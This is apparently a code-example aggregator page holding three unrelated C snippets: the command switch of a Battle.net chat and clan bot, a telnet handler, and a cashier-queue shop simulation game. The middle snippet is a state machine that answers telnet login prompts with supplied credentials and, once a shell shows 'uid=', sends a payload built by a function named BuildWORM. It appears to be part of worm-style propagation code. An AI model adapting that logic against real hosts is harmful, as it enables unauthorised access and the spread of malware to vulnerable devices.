		case CMD_LASTWHISPER:
			if (lastwhisper.profile != -1) {
				sprintf(asdf, "Last whisper to profile %d was sent by %s: %s",
					lastwhisper.profile, lastwhisper.user, lastwhisper.message);
				tosend = asdf;
			} else {
				tosend = "No whispers received!";
			}
			break;
		case CMD_DATE:
		case CMD_TIME:
			time(&rawtime);
			timeinfo = (void *)localtime(&rawtime);
			strftime(asdf, sizeof(asdf),
				(cmdi == CMD_DATE) ? "%m/%d/%Y" : "%I:%M:%S %p",
				(void *)timeinfo);
			tosend = asdf;
			break;
		case CMD_MOTD:
			if (pluser->access != 103)
				bot[index]->fstate |= BFS_EXTERNALREQ;
			InsertDWORD(0x3713);
			SendPacket(0x7C, index);
			break;
		case CMD_SETMOTD:
			if (temp) {
				sprintf(asdf, "/c motd %s", temp);
				QueueAdd(asdf, index);
			}
			break;
		case CMD_CLAN:
			if (pluser->access != 103)
				bot[index]->fstate |= BFS_EXTERNALREQ;
			Send0x7D(index);
			break;
		case CMD_CRANK:
			if (pluser->access != 103)
				bot[index]->fstate |= BFS_EXTERNALREQ;
			if (temp) {
				arg2 = strchr(temp, ' ');
				if (arg2) {
					*arg2++ = 0;
					Send0x7A(temp, (unsigned char)atoi(arg2), index);
				}
			}
			break;
		case CMD_INVITE:
			if (temp) {
				if (pluser->access != 103)
					bot[index]->fstate |= BFS_EXTERNALREQ;
				Send0x77(temp, index);
			}
			break;
		case CMD_TINVITES:
			ToggleGlobalFlag(temp, GFS_ACCEPTINVS, asdf, 
				"%sing invintation requests.", "Accept", "Ignor");
			tosend = asdf;
			break;
		case CMD_ACCEPT:
		case CMD_DECLINE:
			if (!bot[index]->invited.tag) {
				tosend = "No pending invitations.";
			} else {
				InviteResponse = (bot[index]->fstate & BFS_CREATEINV) ? Send0x72 : Send0x79;
				(*InviteResponse)((cmdi == CMD_ACCEPT) ? 'y' : 'n', temp ? atoi(temp) : index);
				sprintf(asdf, "%sed clan invitation.", (cmdi == CMD_ACCEPT) ? "Accept" : "Declin");
				tosend = asdf;
			}
			break;
		case CMD_DP:
			break;
		case CMD_DDP:
			break;
		case CMD_CP:
			break;
		case CMD_AUTOCP:
			break;
		case CMD_GREET:
			break;
		case CMD_IDLE:
			break;
		case CMD_HALT:
			if (temp) {
				//lcase(temp);
				tmppluser = HtGetItem(temp, lusers, TL_LUSERS);
				if (tmppluser) {
					if (tmppluser->access < pluser->access) {
						if (tmppluser->flags & LUR_HALTED) {
							tmppluser->access = tmppluser->oacces;
							tmppluser->flags &= ~LUR_HALTED;
						} else {
							tmppluser->oacces = tmppluser->access;
							tmppluser->access = 1;
							tmppluser->flags |= LUR_HALTED;
							
						}
						sprintf(asdf, "User \'%s\' has been %shalted.", temp, 
							(tmppluser->flags & LUR_HALTED) ? "" : "un");
						tosend = asdf;
					}
				}
			}
			break;
		case CMD_SETTRIGGER:
			if (temp) {
				sprintf(asdf, "Trigger has been changed from \'%c\' to \'%c\'.",
					bot[index]->trigger, *temp);
				bot[index]->trigger = *temp;
				tosend = asdf;
			}
			break;
		case CMD_IGNPUB:
			if (temp) {					   
				temp = (((*(int16_t *)temp) | 0x2020) == 'on') ? "/o igpub" : "/o unigpub";
				for (i = 1; i != numbots; i++) {
					if (bot[i]->connected)
						QueueAdd(temp, i);
				} ///////////////make it per profile, add ignpriv
			}
			break;
		case CMD_CLIENTBAN:
			//SetFlagAndValue(temp, GFS_CLIENTBAN, &clientban, asdf);
			break;
		case CMD_PHRASE:
		case CMD_PB: ////phraseban alias
		case CMD_PHRASEBAN:
			HandlePhraseCmd(pluser, temp, asdf);
			break;
		case CMD_PHRASEADD:
			break;
		case CMD_PHRASEDEL:
			break;
		case CMD_PINGBAN:
			break;
		case CMD_PLUGBAN:
			break;
		case CMD_INDEXBAN:
			break;
		case CMD_BANEVASION:
			break;
		case CMD_NUMBERSBAN:
			break;
		case CMD_ALTCAPSBAN:
			break;
		case CMD_BANNING:
			break;
		case CMD_LOADBAN:
			break;
		case CMD_WINBAN:
			SetFlagAndValue(temp, GFS_WINBAN, &ban_winlow, asdf,
				"Winban set to %d.", "Winban disabled.");
			tosend = asdf;
			break;
		case CMD_AUTOLOAD:
			break;
		case CMD_DESIGNATE:
		case CMD_OP:
			if (temp) {
				RealmFix(temp, tmpuser, 0);
				sprintf(asdf, "/designate %s", tmpuser);
			} else {
				sprintf(asdf, "/designate %s", pluser->username);
			}  
			QueueAdd(asdf, index);
			if (cmdi == CMD_OP)
				RejoinChannel(index);
			break;
		case CMD_LOCKDOWN:
			break;
		case CMD_MASS:
			sprintf(asdf, "/j %s", temp);
			for (i = 0; i != numbots; i++)
				QueueAdd(asdf, i);
			break;
		case CMD_RJ:
			RejoinChannel(index);
			break;
		case CMD_PROFILES:
			bigmem = HandleProfilesCmd();
			tosend = bigmem;
			break;				   
		case CMD_SETNAME:
			if (temp) {
				arg2 = strchr(temp, ' ');
				i = arg2 ? atoi(arg2 + 1) : 0;
				strncpy(bot[i]->username, temp, sizeof(bot[i]->username));
				bot[i]->username[sizeof(bot[i]->username) - 1] = 0;
				sprintf(asdf, "Set new username for profile %d to %s.",
					i, bot[i]->username);
				tosend = asdf; ///////////////////////////////////
			}
			break;
		case CMD_SETPASS:
			if (temp) {
				arg2 = strchr(temp, ' ');
				i = arg2 ? atoi(arg2 + 1) : 0;
				strncpy(bot[i]->password, temp, sizeof(bot[i]->password));
				bot[i]->password[sizeof(bot[i]->password) - 1] = 0;
				sprintf(asdf, "Set new password for profile %d.", i);
				tosend = asdf; /////////////////set permanently in config!
			}
			break;
		case CMD_RELOAD:
			tosend = HandleReloadCmd(temp);
			break;
		case CMD_CREMOVE:
			if (pluser->access != 103)
				bot[index]->fstate |= BFS_EXTERNALREQ;
			Send0x78(temp, index);
			break;
		case CMD_CHIEFTAIN:
			if (temp) {
				if (pluser->access != 103)
					bot[index]->fstate |= BFS_EXTERNALREQ;
				Send0x74(temp, index);
			}
			break;
		case CMD_MI:
		case CMD_MEMBERINFO:
			if (temp) {	//weird, i never get a response...
				//if (pluser->access != 103)
				//	bot[index]->fstate |= BFS_EXTERNALREQ;
				Send0x82(temp, index);
			}
			break;
		case CMD_CREATE:
			tosend = HandleClanCreateCommand(temp, index);
			break;
		case CMD_CHECKCLAN:
			if (temp) ////////////////////what about external requests?
				Send0x70(temp, index);
			break;
		case CMD_LOCK:
			ToggleGlobalFlag(temp, GFS_LOCKED, asdf,
				"Access has been %slocked.", "", "un");
			tosend = asdf;
			break;
		case CMD_LOGGING:
			ToggleGlobalFlag(temp, GFS_LOGGING, asdf,
				"Logging %sabled.", "en", "dis");
			tosend = asdf;
			break;
		case CMD_DISBAND:
			InsertDWORD(0x3713);
			SendPacket(0x73, index);
			break;
		case CMD_ERASE:
			tosend = HandleEraseCmd(temp);
			break;
		case CMD_PLGLOAD:
			break;
		case CMD_PLGSTAT:
			break;
		case CMD_PLGUNLOAD:
			break;
		case CMD_UPDATE:
			break;
		default:
			printf("Invalid command index %d (unimplemented)!\n", cmdi);
	}
	if (tosend) {
		if (pluser->access == 103) {
			GetTimeStamp(timestamp);
			printf("%s %s\n", timestamp, tosend);
		} else {
			QueueAdd(tosend, index);
		}
	}
	if (bigmem)
		free(bigmem);
}
示例#20
0
int telnet_incoming(Modules *mptr, Connection *cptr, char *buf, int size) {
    CustomState *Cstate = CustomState_Ptr(cptr);
    int ret = 0;
    int i = 0;
    char *recv_line = NULL;
    int line_size = 0;
    int cur_ts = (int)time(0);
    // hack to fix if \r\n isnt found (it wont always be like ogin: won't send new line..)
    // *** rewrite later
    int no_line = 0;
    int dsize = 0;
    char *data = NULL;

    // moved the structure here so its not in global memory..
    // every state has a command we want to write, what we expect to see, and then the new state if its found
    // and a module to move the command to if we need to (for privilege escalation, etc)
    struct _state_commands {
        int state;
        char *expect;
        ExpectCMD BuildData;
        int new_state;
        struct _modules *next_module;
    } StateCommands[] = {
        // look for login request
        { STATE_TELNET_NEW, "ogin:", &BuildLogin, STATE_TELNET_PASSWORD, NULL },
        // look for password request..
        { STATE_TELNET_PASSWORD, "assword:", &BuildPassword, STATE_TELNET_FINDSHELL, NULL },
        // incorrect goes back to state new. so we can attempt another..
        { STATE_TELNET_FINDSHELL, "ncorrect", NULL, STATE_TELNET_NEW, NULL },
        // look for a string specifying its connected
        { STATE_TELNET_FINDSHELL, "last login", &BuildVerify, STATE_TELNET_INSIDE, NULL },
        { STATE_TELNET_FINDSHELL, "success", &BuildVerify, STATE_TELNET_INSIDE, NULL },
        
        //{ STATE_TELNET_FINDSHELL, "$ ", &BuildVerify, STATE_TELNET_INSIDE, NULL },
        
        // after id; we should see uid=X (means we are logged in)
        // maybe change to STATE_OK after testing.. 
        { STATE_TELNET_INSIDE, "uid=", &BuildWORM, STATE_OK, NULL },
        
        // end of commands..
        { 0, NULL, NULL, 0, NULL }
    };
    
    for (i = 0; StateCommands[i].expect != NULL; i++) {
        if (StateCommands[i].state == cptr->state) {
            // set timestamp to now.. so the timeout works correctly
            Cstate->ts = cur_ts;
            cptr->start_ts = time(0);

            // retrieve 1 single line from the incoming queue
            recv_line = NULL;//QueueParseAscii(cptr->incoming, &line_size);
            if (!recv_line && cptr->incoming && cptr->incoming->buf) {
                recv_line = cptr->incoming->buf;
                no_line = 1;
            }
            if (recv_line) {
                // verify what we expect is in the line..
                if (strcasestr(recv_line, StateCommands[i].expect) != NULL) {
                    ret = 1;
                    cptr->state = StateCommands[i].new_state;
                    

                    if (StateCommands[i].BuildData != NULL) {
                        data = StateCommands[i].BuildData(mptr, cptr, &dsize);
                        if (data == NULL) {
                            // set as bad..
                            ret = -1;
                            // connection bad happens at end of func because ret wont be 1
                            //ConnectionBad(cptr);
                            break;
                        }
                        
                        // queue outgoing data..
                        QueueAdd(mptr, cptr, NULL, data, dsize);
                        ret = 1;
                        
                    } else {
                        // if we didnt have a function.. its a state thing
                        // set ret to 1 so it doesnt disconnect due to it
                        ret = 1;
                    }
                } 
                // free the line.. no more use for it
                if (!no_line)
                    free(recv_line);
            }
            // no break here just in case we have multiple strings
            //break;
        }
    }
    
    // max 10 second wait per event
    if (cur_ts - Cstate->ts > 10) {
        // let the next statement deal with it..
        ret = -1;
    }
    
    if (ret < 0) {
        ConnectionBad(cptr);
    }
    
    return ret;
}
示例#21
0
int main(void)
{
  QUEUE Queue = {0};

  CASHIER *Cashier = NULL;
  CASHIER EmptyCashier = {0};
  CUSTOMER Customer = {0};
  CUSTOMER EmptyCustomer = {0};

  int CustomerNumber = 0;
  int TotalItems = 0;
  int TotalItemsSold = 0;
  int SatisfiedCustomers = 0;
  long TotalWaitTime = 0;
  double Balance;

  int NumCashiers;
  unsigned long TempCashiers;
  long CurrentSecond;
  char Buff[10];
  char *endp;

  double p;

  int i;

  int NumCustomers = 0;

  srand((unsigned)time(NULL));

  /* get data from user */

  printf("Welcome to ShopSim!\n\n");
  printf("Your goal is to maximise profit.\n");
  printf("Income is number of items processed * %f.\n",
         PROFIT_PER_ITEM);
  printf("Customers wander in at random, on average %f"
         " per second.\n",
         CHANCE_OF_CUSTOMER);
  printf("Expenditure is %f per cashier.\n",
         CASHIER_WAGE);
  printf("You choose the number of cashiers.\n\n");
  printf("Dissatisfied customers cost you goodwill.\n");


  do
  {
    printf("How many cashiers today?\n");

    if(NULL == fgets(Buff, sizeof Buff, stdin))
    {
      printf("Program aborted.\n");
      exit(EXIT_FAILURE);
    }

    TempCashiers = strtoul(Buff, &endp, 10);

    /* On some platforms, unsigned long is longer than int,
     * so we use a temp to catch strtoul's value.
     */
    if(endp == Buff ||
       0 == TempCashiers ||
       TempCashiers > (unsigned long)INT_MAX)
    {
      printf("Ahem. %s? Try again!\n\n", Buff);
    }
    else
    {
      NumCashiers = (int)TempCashiers;
      Cashier = malloc(NumCashiers * sizeof *Cashier);
      if(NULL == Cashier)
      {
        printf("Hmm. Not enough RAM for "
               "that many cashiers. Try again.\n");
      }
    }
  } while(NULL == Cashier);

  for(i = 0; i < NumCashiers; i++)
  {
    Cashier[i] = EmptyCashier;
  }

  /* Run simulation from 9am till 5pm (28800 seconds) */

  assert(OPENING_TIME < CLOSING_TIME);

  for(CurrentSecond = OPENING_TIME;
      CurrentSecond < CLOSING_TIME;
      CurrentSecond++)
  {
    p = RandomP();
    if(p < CHANCE_OF_CUSTOMER)
    {
      Customer = EmptyCustomer;
      Customer.Index = CustomerNumber++;
      Customer.JoinedQueue = CurrentSecond;
      TotalItems += DoShopping(&Customer);

      /* Customer is now set up. Let's add
       * him to the queue.
       */
      if(QUEUE_SUCCESS !=
         QueueAdd(&Queue, 0, &Customer, sizeof Customer))
      {
        printf("Insufficient memory.\n");
        exit(EXIT_FAILURE);
      }
    }

    for(i = 0; i < NumCashiers; i++)
    {
      /* Deal with current customers */
      if(Cashier[i].TimeRemaining > 0)
      {
        --Cashier[i].TimeRemaining;
        if(0 == Cashier[i].TimeRemaining)
        {
          printf("%s: Cashier %d has served customer %d\n",
                 GetTime(CurrentSecond),
                 i,
                 Cashier[i].CustomerIndex);
        }
      }
      else
      {
        /* Deal with new customer, if any */
        if(QueueCount(&Queue) > 0)
        {
          QueueRemove(&Customer, &Queue);
          Cashier[i].TimeRemaining =
            (int)(Customer.NumItems * SECONDS_PER_ITEM);
          printf("Cashier %d busy for %d seconds\n",
            i, Cashier[i].TimeRemaining);
          Cashier[i].CustomerIndex = Customer.Index;
          TotalWaitTime += CurrentSecond;
          TotalWaitTime -= Customer.JoinedQueue;
          ++SatisfiedCustomers;
          ++Cashier[i].NumCustomersSeen;
          Cashier[i].NumItemsProcessed +=
            Customer.NumItems;
          TotalItemsSold += Customer.NumItems;
          printf("%s: Cashier %d is serving customer %d\n",
                 GetTime(CurrentSecond),
                 i,
                 Cashier[i].CustomerIndex);
          printf("Customer %d waiting time: %s\n",
                 Customer.Index,
                 GetTime(CurrentSecond -
                   Customer.JoinedQueue));
        }
      }
    }
  }

  printf("%s: Simulation ended.\n", GetTime(CurrentSecond));
  printf("Items sold     :%9d  ", TotalItemsSold);
  printf("Items picked up:%9d  ", TotalItems);
  printf("Difference     :%9d\n", TotalItems - TotalItemsSold);
  printf("Satisfied customers:%9d  ", SatisfiedCustomers);
  printf("Dissatisfied customers:%9d\n",
         CustomerNumber - SatisfiedCustomers);

  if(TotalWaitTime > 0)
  {
    printf("Average wait time "
           "(satisfied customers only): %s\n",
           GetTime((long)(TotalWaitTime /
           (double)SatisfiedCustomers)));
  }

  printf("\n\nCashier Report\n\n");
  for(i = 0; i < NumCashiers; i++)
  {
    printf("Cashier %2d saw %d customers ",
           i, Cashier[i].NumCustomersSeen);
    printf("and dealt with %d items.\n",
           Cashier[i].NumItemsProcessed);
  }

  Balance = TotalItemsSold * PROFIT_PER_ITEM;
  printf("Total profit      : %12.2f\n",
         Balance);
  printf("Less cashier wages: %12.2f\n",
         NumCashiers * CASHIER_WAGE);
  Balance -= NumCashiers * CASHIER_WAGE;

  printf("Balance           : %12.2f\n", Balance);

  printf("Goodwill Penalty  : %12.2f\n",
         (CustomerNumber - SatisfiedCustomers) *
         GOODWILL_PENALTY);

  Balance -= (CustomerNumber - SatisfiedCustomers) *
              GOODWILL_PENALTY;

  printf("End Balance       : %12.2f\n", Balance);

  printf("You %s.\n",
         Balance > 0 ?
         "win" : "lose");

  QueueDestroy(&Queue);

  free(Cashier);

  return 0;
}